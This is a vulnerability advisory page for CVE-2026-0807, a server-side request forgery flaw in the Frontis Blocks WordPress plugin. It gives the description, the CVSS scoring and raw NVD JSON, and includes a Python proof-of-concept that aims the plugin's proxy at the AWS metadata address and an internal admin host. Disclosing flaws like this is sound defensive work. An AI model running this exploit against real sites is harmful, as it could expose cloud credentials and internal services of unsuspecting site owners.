Security Vulnerability Report
中文
CVE-2026-0807 CVSS 7.2 HIGH

CVE-2026-0807

Published: 2026-01-24 08:16:08
Last Modified: 2026-04-15 00:35:42

Description

The Frontis Blocks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.6. This is due to insufficient restriction on the 'url' parameter in the 'template_proxy' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application via the '/template-proxy/' and '/proxy-image/' endpoint.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Frontis Blocks plugin for WordPress <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-0807 PoC - SSRF in Frontis Blocks plugin # Target: WordPress site with Frontis Blocks plugin <= 1.1.6 TARGET_URL = "http://target-wordpress-site.com" # Test SSRF via /template-proxy/ endpoint def test_ssrf_template_proxy(target): endpoint = f"{target}/wp-admin/admin-ajax.php" params = { 'action': 'frontis_template_proxy', 'url': 'http://169.254.169.254/latest/meta-data/' # AWS metadata } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") except Exception as e: print(f"[!] Error: {e}") # Test SSRF via /proxy-image/ endpoint def test_ssrf_proxy_image(target): endpoint = f"{target}/wp-admin/admin-ajax.php" params = { 'action': 'frontis_proxy_image', 'url': 'http://internal-server:8080/admin' } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": test_ssrf_template_proxy(TARGET_URL) test_ssrf_proxy_image(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0807", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:07.580", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Frontis Blocks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.6. This is due to insufficient restriction on the 'url' parameter in the 'template_proxy' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application via the '/template-proxy/' and '/proxy-image/' endpoint."}, {"lang": "es", "value": "El plugin Frontis Blocks para WordPress es vulnerable a falsificación de petición del lado del servidor en todas las versiones hasta la 1.1.6, inclusive. Esto se debe a una restricción insuficiente en el parámetro 'url' en la función 'template_proxy'. Esto permite que atacantes no autenticados realicen peticiones web a ubicaciones arbitrarias originadas desde la aplicación web a través del endpoint '/template-proxy/' y '/proxy-image/'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/frontis-blocks/tags/1.1.4/includes/Admin/Admin.php#L910", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/frontis-blocks/trunk/includes/Admin/Admin.php#L910", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3444616/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/322e0a27-9119-4b46-a043-d3a68c4fcdc4?source=cve", "source": "[email protected]"}]}}